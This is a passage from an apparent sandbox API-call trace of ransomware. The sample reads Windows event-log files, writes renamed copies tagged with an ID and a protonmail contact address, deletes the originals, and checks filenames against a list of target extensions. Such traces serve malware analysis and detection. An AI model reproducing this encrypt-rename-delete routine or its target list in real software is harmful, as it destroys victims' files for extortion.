lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.601] WriteFile (in: hFile=0x10c0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x13a, lpOverlapped=0x0) returned 1 [0147.601] SetEndOfFile (hFile=0x10c0) returned 1 [0147.602] CloseHandle (hObject=0x10c0) returned 1 [0147.603] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.603] SetEndOfFile (hFile=0x1084) returned 1 [0147.604] CloseHandle (hObject=0x1084) returned 1 [0147.605] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.605] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0147.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0147.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0147.708] lstrlenW (lpString=".doc") returned 4 [0147.708] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.708] lstrlenW (lpString=".docx") returned 5 [0147.708] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.708] lstrlenW (lpString=".pdf") returned 4 [0147.708] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.708] lstrlenW (lpString=".xls") returned 4 [0147.708] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.708] lstrlenW (lpString=".xlsx") returned 5 [0147.708] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.708] lstrlenW (lpString=".ppt") returned 4 [0147.708] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0147.708] lstrlenW (lpString=".zip") returned 4 [0147.708] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.708] lstrlenW (lpString=".rar") returned 4 [0147.708] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.708] lstrlenW (lpString=".bz2") returned 4 [0147.708] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.708] lstrlenW (lpString=".7z") returned 3 [0147.708] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0147.708] lstrlenW (lpString=".dbf") returned 4 [0147.708] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0147.708] lstrlenW (lpString=".1cd") returned 4 [0147.708] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.708] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0147.708] lstrlenW (lpString=".jpg") returned 4 [0147.709] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.709] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0147.709] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0147.709] lstrlenW (lpString=".doc") returned 4 [0147.709] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.709] lstrlenW (lpString=".docx") returned 5 [0147.709] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.709] lstrlenW (lpString=".pdf") returned 4 [0147.709] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.709] lstrlenW (lpString=".xls") returned 4 [0147.709] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.709] lstrlenW (lpString=".xlsx") returned 5 [0147.709] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.709] lstrlenW (lpString=".ppt") returned 4 [0147.709] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.709] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0147.709] lstrlenW (lpString=".zip") returned 4 [0147.709] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.709] lstrlenW (lpString=".rar") returned 4 [0147.709] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.709] lstrlenW (lpString=".bz2") returned 4 [0147.709] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.709] lstrlenW (lpString=".7z") returned 3 [0147.709] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.709] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0147.709] lstrlenW (lpString=".dbf") returned 4 [0147.709] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.709] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0147.709] lstrlenW (lpString=".1cd") returned 4 [0147.709] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.709] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0147.709] lstrlenW (lpString=".jpg") returned 4 [0147.709] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.710] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.710] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47 [0147.710] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0147.711] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0147.711] CloseHandle (hObject=0x1098) returned 1 [0147.711] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0147.711] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.712] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0147.712] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.712] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.713] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0147.713] GetLastError () returned 0x0 [0147.713] ReadFile (in: hFile=0x10e0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.883] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.885] ReadFile (in: hFile=0x10e0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.885] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x132, lpOverlapped=0x0) returned 1 [0147.885] SetEndOfFile (hFile=0x10e8) returned 1 [0147.885] CloseHandle (hObject=0x10e8) returned 1 [0147.888] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.888] SetEndOfFile (hFile=0x10e0) returned 1 [0147.890] CloseHandle (hObject=0x10e0) returned 1 [0147.890] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.890] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0147.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0147.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0147.890] lstrlenW (lpString=".doc") returned 4 [0147.890] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.890] lstrlenW (lpString=".docx") returned 5 [0147.891] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.891] lstrlenW (lpString=".pdf") returned 4 [0147.891] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.891] lstrlenW (lpString=".xls") returned 4 [0147.891] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.891] lstrlenW (lpString=".xlsx") returned 5 [0147.891] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.891] lstrlenW (lpString=".ppt") returned 4 [0147.891] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0147.891] lstrlenW (lpString=".zip") returned 4 [0147.891] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.891] lstrlenW (lpString=".rar") returned 4 [0147.891] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.891] lstrlenW (lpString=".bz2") returned 4 [0147.891] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.891] lstrlenW (lpString=".7z") returned 3 [0147.891] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0147.891] lstrlenW (lpString=".dbf") returned 4 [0147.891] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0147.891] lstrlenW (lpString=".1cd") returned 4 [0147.891] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0147.891] lstrlenW (lpString=".jpg") returned 4 [0147.891] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0147.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0147.891] lstrlenW (lpString=".doc") returned 4 [0147.891] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.892] lstrlenW (lpString=".docx") returned 5 [0147.892] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.892] lstrlenW (lpString=".pdf") returned 4 [0147.892] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.892] lstrlenW (lpString=".xls") returned 4 [0147.892] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.892] lstrlenW (lpString=".xlsx") returned 5 [0147.892] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.892] lstrlenW (lpString=".ppt") returned 4 [0147.892] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.892] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0147.892] lstrlenW (lpString=".zip") returned 4 [0147.892] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.892] lstrlenW (lpString=".rar") returned 4 [0147.892] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.892] lstrlenW (lpString=".bz2") returned 4 [0147.892] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.892] lstrlenW (lpString=".7z") returned 3 [0147.892] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.892] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0147.892] lstrlenW (lpString=".dbf") returned 4 [0147.892] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.892] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0147.892] lstrlenW (lpString=".1cd") returned 4 [0147.892] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.892] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0147.892] lstrlenW (lpString=".jpg") returned 4 [0147.892] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.892] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.893] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42 [0147.893] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0147.893] GetFileSizeEx (in: hFile=0x10e0, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0147.893] CloseHandle (hObject=0x10e0) returned 1 [0147.893] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0147.893] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.893] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0147.893] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.893] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.893] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0147.894] GetLastError () returned 0x0 [0147.894] ReadFile (in: hFile=0x10e0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0148.002] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0148.004] ReadFile (in: hFile=0x10e0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.004] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x128, lpOverlapped=0x0) returned 1 [0148.004] SetEndOfFile (hFile=0x10e8) returned 1 [0148.004] CloseHandle (hObject=0x10e8) returned 1 [0148.006] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.006] SetEndOfFile (hFile=0x10e0) returned 1 [0148.007] CloseHandle (hObject=0x10e0) returned 1 [0148.007] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0148.007] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0148.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0148.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0148.008] lstrlenW (lpString=".doc") returned 4 [0148.008] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.008] lstrlenW (lpString=".docx") returned 5 [0148.008] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.008] lstrlenW (lpString=".pdf") returned 4 [0148.008] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.008] lstrlenW (lpString=".xls") returned 4 [0148.008] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.008] lstrlenW (lpString=".xlsx") returned 5 [0148.008] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.008] lstrlenW (lpString=".ppt") returned 4 [0148.008] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0148.008] lstrlenW (lpString=".zip") returned 4 [0148.008] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.008] lstrlenW (lpString=".rar") returned 4 [0148.008] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.008] lstrlenW (lpString=".bz2") returned 4 [0148.008] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.008] lstrlenW (lpString=".7z") returned 3 [0148.008] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0148.008] lstrlenW (lpString=".dbf") returned 4 [0148.008] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0148.008] lstrlenW (lpString=".1cd") returned 4 [0148.008] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0148.008] lstrlenW (lpString=".jpg") returned 4 [0148.008] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0148.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0148.009] lstrlenW (lpString=".doc") returned 4 [0148.009] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.009] lstrlenW (lpString=".docx") returned 5 [0148.009] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.009] lstrlenW (lpString=".pdf") returned 4 [0148.009] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.009] lstrlenW (lpString=".xls") returned 4 [0148.009] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.009] lstrlenW (lpString=".xlsx") returned 5 [0148.009] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.009] lstrlenW (lpString=".ppt") returned 4 [0148.009] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0148.009] lstrlenW (lpString=".zip") returned 4 [0148.009] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.009] lstrlenW (lpString=".rar") returned 4 [0148.009] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.009] lstrlenW (lpString=".bz2") returned 4 [0148.009] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.009] lstrlenW (lpString=".7z") returned 3 [0148.009] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0148.009] lstrlenW (lpString=".dbf") returned 4 [0148.009] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0148.009] lstrlenW (lpString=".1cd") returned 4 [0148.009] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0148.009] lstrlenW (lpString=".jpg") returned 4 [0148.009] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.010] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0148.010] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40 [0148.010] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0148.010] GetFileSizeEx (in: hFile=0x10e0, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0148.010] CloseHandle (hObject=0x10e0) returned 1 [0148.010] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0148.010] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.010] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0148.011] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.011] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.011] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0148.011] GetLastError () returned 0x0 [0148.011] ReadFile (in: hFile=0x10e0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0148.197] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0148.200] ReadFile (in: hFile=0x10e0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.200] WriteFile (in: hFile=0x10e8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x124, lpOverlapped=0x0) returned 1 [0148.200] SetEndOfFile (hFile=0x10e8) returned 1 [0148.374] CloseHandle (hObject=0x10e8) returned 1 [0148.712] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.712] SetEndOfFile (hFile=0x10e0) returned 1 [0148.795] CloseHandle (hObject=0x10e0) returned 1 [0148.795] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0148.796] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0148.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0148.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0148.796] lstrlenW (lpString=".doc") returned 4 [0148.796] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.796] lstrlenW (lpString=".docx") returned 5 [0148.796] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.796] lstrlenW (lpString=".pdf") returned 4 [0148.796] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.796] lstrlenW (lpString=".xls") returned 4 [0148.796] lstrcmpiW (lpString1=".xls", lpString2="evtx") 